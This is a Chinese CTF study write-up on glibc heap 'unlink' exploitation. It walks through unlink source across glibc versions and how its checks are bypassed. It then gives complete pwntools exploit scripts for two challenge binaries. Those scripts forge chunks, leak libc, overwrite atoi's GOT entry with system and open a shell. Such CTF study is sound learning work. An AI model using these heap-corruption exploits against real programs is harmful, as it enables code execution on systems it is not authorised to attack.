Unlink学习总结

Unlink

本文参考了CTF-wiki 和glibc 源码

原理:

我们在利用 unlink 所造成的漏洞时，其实就是借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程，其目的是把一个双向链表中的空闲块拿出来，然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下

类似于我们学数据结构时学的从双向链表中删除一个节点的操作。

古老的 unlink

在最初 unlink 实现的时候，其实是没有对双向链表检查的，也就是说，没有以下的代码

//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

//只有large bin 才进行次检查
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (p->fd_nextsize->bk_nextsize != p
    || p->bk_nextsize->fd_nextsize != p)
   malloc_printerr ("corrupted double-linked list (not small)");

这里我们以 32 位为例，假设堆内存最初的布局是下面的样子

如果我们通过某种方式（比如溢出）将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时

1. glibc 判断这个块是 small chunk。
2. 判断前向合并，发现前一个 chunk 处于使用状态，不需要前向合并。
3. 判断后向合并，发现后一个 chunk 处于空闲状态，需要合并。
4. 继而对 nextchunk 采取 unlink 操作。

那么 unlink 具体执行的效果是什么样子呢？我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下

• FD=P->fd = target addr -12
• BK=P->bk = expect value
• FD->bk = BK，即 *(target addr-12+12) = expect value
• BK->fd = FD，即*(expect value +8) = target addr-12

看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的，但是我们还是需要确保 expect value +8 地址具有可写的权限。

比如说我们将 target addr 设置为某个 got 表项，那么当程序调用对应的 libc 函数时，就会直接执行我们设置的值（expect value）处的代码。需要注意的是，expect value+8 处的值可能没有写入权限，执行BK->fd = FD回报错，需要想办法绕过。

当前的 unlink

我们刚才考虑的是没有检查的情况，但是一旦加上检查，就没有这么简单了。我们看一下对 fd 和 bk 的检查

//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

此时

• FD->bk = *(target addr - 12 +12)=*(target_addr) != p
• BK->fd = *(expect value + 8) != p

那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。

但是，如果我们使得 expect value+8 以及 target_addr 等于 p，那么我们就可以执行

• expect value = p - 8

• target addr = p

• FD->bk = BK，即 *(p-12+12) = *p =p-8

• BK->fd = FD，即 *(p-8 +8) = *p = p-12

这样可以通过检查，即改写了指针 p 的内容，将其指向了比自己低 12 的地址处。

此外，其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话，并不能达到修改指针内容的效果。

• FD = p->fd = p

• BK = p->bk = p

• FD->bk = *(p +12) = p

• BK->fd = *(p + 8) = p

不同版本的unlink对比

glib 2.23

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
    FD = P->fd;
    BK = P->bk;
	//检查p和其前后的chunk是否构成双向链表
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else
    {
        FD->bk = BK;
        BK->fd = FD;
        //一般的unlink到这里就结束了,只有是large bin范围，才继续执行下面的代码。
        //如果 p 在largebin的范围  且 p->fd_nextsize不为空
        if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))
        {
          //检查p和其前后的large chunk的nextsize域是否构成双向链表
          if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
             malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV);  

          if (FD->fd_nextsize == NULL) {
              if (P->fd_nextsize == P)
                FD->fd_nextsize = FD->bk_nextsize = FD;
              else
              {
                  FD->fd_nextsize = P->fd_nextsize;
                  FD->bk_nextsize = P->bk_nextsize;
                  P->fd_nextsize->bk_nextsize = FD;
                  P->bk_nextsize->fd_nextsize = FD;
                }
            }
            else
            {
              P->fd_nextsize->bk_nextsize = P->bk_nextsize;
              P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
          }
      }
}

glibc 2.27

#define unlink(AV, P, BK, FD)
{
    //检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
        malloc_printerr ("corrupted size vs. prev_size");                 

    FD = P->fd;
    BK = P->bk;                                

    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr ("corrupted double-linked list");                 

    else
    {
        FD->bk = BK;
        BK->fd = FD;  

        if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0))
        {
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
              malloc_printerr ("corrupted double-linked list (not small)"); 

            if (FD->fd_nextsize == NULL)
            {
                if (P->fd_nextsize == P)
                  FD->fd_nextsize = FD->bk_nextsize = FD;
                else
                {
                    FD->fd_nextsize = P->fd_nextsize;
                    FD->bk_nextsize = P->bk_nextsize;
                    P->fd_nextsize->bk_nextsize = FD;
                    P->bk_nextsize->fd_nextsize = FD;
                }
            }
            else
            {
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;
            }
        }
    }
}

glibc 2.29

static void unlink_chunk (mstate av, mchunkptr p)
{

  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;

  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
  {
      if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
          malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
      {
         if (p->fd_nextsize == p)
           fd->fd_nextsize = fd->bk_nextsize = fd;
         else
         {
             fd->fd_nextsize = p->fd_nextsize;
             fd->bk_nextsize = p->bk_nextsize;
             p->fd_nextsize->bk_nextsize = fd;
             p->bk_nextsize->fd_nextsize = fd;
          }
      }
      else
      {
         p->fd_nextsize->bk_nextsize = p->bk_nextsize;
         p->bk_nextsize->fd_nextsize = p->fd_nextsize;
      }
  }
}

glibc 2.23

1. 检查p和其前后的chunk是否构成双向链表

2. 检查p和其前后的large chunk的nextsize域是否构成双向链表

glibc 2.27 2.29 新增加一下保护

1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

为了加深印象，我们做几道题目

例子

hitcontraining_unlink

本题的环境是ubuntu 16，也就是说glibc版本为2.23

首先检查一下保护

增删改查，典型的堆题

IDA 分析

main函数，申请了一块空间，存了2个函数指针，分别是hello_message和goodbye_message

add存在off_by_null漏洞

edit 没有对输入的length做检查，导致堆溢出

delete 没有漏洞

show 展示所有item的内容

这里还有个后门？

初步分析这题目存在堆溢出，我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink，我们这里使用unlink攻击

1. fastbin attack利用后门

add(0x21,'AAAAA')#0  为了溢出修改1
add(0x18,'BBBBB')#1
add(0x18,'CCCC') #2
delete(2)
delete(1) #fastbin -> 1 -> 2

payload = 'A'*0x28+p64(0x21) #修改1的fd指针，指向main开始时申请的内存地址
edit(0,len(payload),payload)
add(0x18,'AAA')
backdoor = 0x0400D49
add(0x18,p64(0)+p64(backdoor))  #将其第二个指针修改为backdoor的地址.
p.sendlineafter('Your choice:','5')

1. fastbin attack(house of force)劫持atoi_got

   add(0x21,'AAAAA')#0 为了溢出修改1
   add(0x18,'BBBBB')#1
   delete(1)   #fastbin -> 1
   
   payload = 'A'*0x28+p64(0x21)+p64(0x06020C0 - 0x8)
   edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8
   add(0x18,'AAA')
   
   add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_got
   show() #泄漏libc地址
   p.recvuntil('0 : ')
   atoi = u64(p.recv(6).ljust(8,'\x00'))
   libc_base = atoi - libc.symbols['atoi']
   system = libc_base + libc.symbols['system']
   edit(0,8,p64(system))#往atoi_got写入system地址
   p.sendlineafter('Your choice:','/bin/sh\x00')
   

2. unlink

   #coding:utf-8
   from pwn import *
   context.log_level = 'debug'
   p = process('./bamboobox')
   elf = ELF('./bamboobox')
   libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
   
   def add(size,content):
       p.sendlineafter('Your choice:','2')
       p.sendlineafter('name:',str(size))
       p.sendafter('item:',content)
   
   def show():
       p.sendlineafter('Your choice:','1')
   
   def edit(idx,size,content):
       p.sendlineafter('Your choice:','3')
       p.sendafter('item:',str(idx))
       p.sendlineafter('name:',str(size))
       p.sendafter('item:',content)
   
   def delete(idx):
       p.sendlineafter('Your choice:','4')
       p.sendafter('item:',str(idx))
   
   itemlist0_ptr = 0x6020C0+8
   
   add(0x40,'A' * 8)#0
   add(0x80,'B' * 8)#1
   add(0x80,'C' * 8)#2
   
   #这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
   fake_chunk =  p64(0) + p64(0x41)  #fake_chunk header
   fake_chunk += p64(itemlist0_ptr-0x18) + p64(itemlist0_ptr-0x10) #fake_chunk fd  bk
   fake_chunk += 'C'*0x20
   fake_chunk += p64(0x40) # 1的presize
   fake_chunk += p64(0x90) # 1的size
   edit(0,0x80,fake_chunk)
   
   '''
   这里用p指代itemlist0_ptr
   FD = p -> fd = p - 0x18
   BK = p -> bk = p - 0x10
   
   FD -> bk = p
   BK -> fd = p
   #通过检查
   FD -> bk = BK 相当于  *(p) = p-0x10
   BK -> fd = FD 相当于  *(p) = p-0x18
   我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址，而是itemlist附近的地址。
   '''
   delete(1)  #前向合并，合并0中的fake_chunk  放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18
   
   payload = p64(0) * 2
   payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
   edit(0,0x80,payload)
   
   show()
   p.recvuntil('0 : ')
   atoi = u64(p.recv(6).ljust(8,'\x00'))
   libc_base = atoi - libc.symbols['atoi']
   system = libc_base + libc.symbols['system']
   edit(0,8,p64(system))
   p.sendlineafter('Your choice:','/bin/sh\x00')
   
   p.interactive()
   

jarvisoj_level6_x64

首先检查保护

IDA分析

首先程序先malloc了一块地址,把一开始的地方填入0x100,0，剩下的全部清零

增删改查，典型的堆题

add函数，申请0x80字节大小对齐的堆块，然后在heaparray中做相应的记录

edit函数，如果输入的size与heaparray中记录的不同，这调用realloc函数。

show 没啥好说，就是heaparray中每个记录项打印出来

free函数，存在double free的漏洞，因为没有清零，且没有对heaparray中的inuse进行校验。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./freenote_x64')
elf = ELF('./freenote_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(size,content):
    p.sendlineafter('Your choice: ','2')
    p.sendlineafter('note: ',str(size))
    p.sendafter('note: ',content)

def show():
    p.sendlineafter('Your choice: ','1')

def edit(idx,size,content):
    p.sendlineafter('Your choice: ','3')
    p.sendlineafter('number: ',str(idx))
    p.sendlineafter('note: ',str(size))
    p.sendafter('note: ',content)

def delete(idx):
    p.sendlineafter('Your choice: ','4')
    p.sendlineafter('number: ',str(idx))

#----------leak heap and libc --------------#
add(0x80,'A'*0x80)#
add(0x80,'B'*0x80)#1
add(0x80,'C'*0x80)#
add(0x80,'D'*0x80)#3

delete(0)
delete(2) #在unsorted bin中形成双向链表

add(0x8,'A'*0x8)#0
add(0x8,'C'*0x8)#2

show()
p.recvuntil('AAAAAAAA')
heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1940
print 'heap: '+hex(heap)

p.recvuntil('CCCCCCCC')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x3c4b78
print 'libc_base: '+hex(libc_base)
#------------------unlink---------------------------------#
delete(0)
delete(1) #合并0，1块

chunk0_ptr = heap + 0x30

payload  = p64(0)+p64(0x81)
payload += p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
payload = payload.ljust(0x100,'\x00')
add(0x100,payload)
delete(1)   #double free 触发unlink

#----------------改写 atoi_got -----------------#
payload = p64(0x2)+p64(0x1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)#改写heaparray[0]-> ptr  使其指向atoi_got

edit(0,0x8,p64(libc_base + libc.symbols['system']))#改写atoi_got为system的值

p.sendlineafter('Your choice: ','/bin/sh\x00')

p.interactive()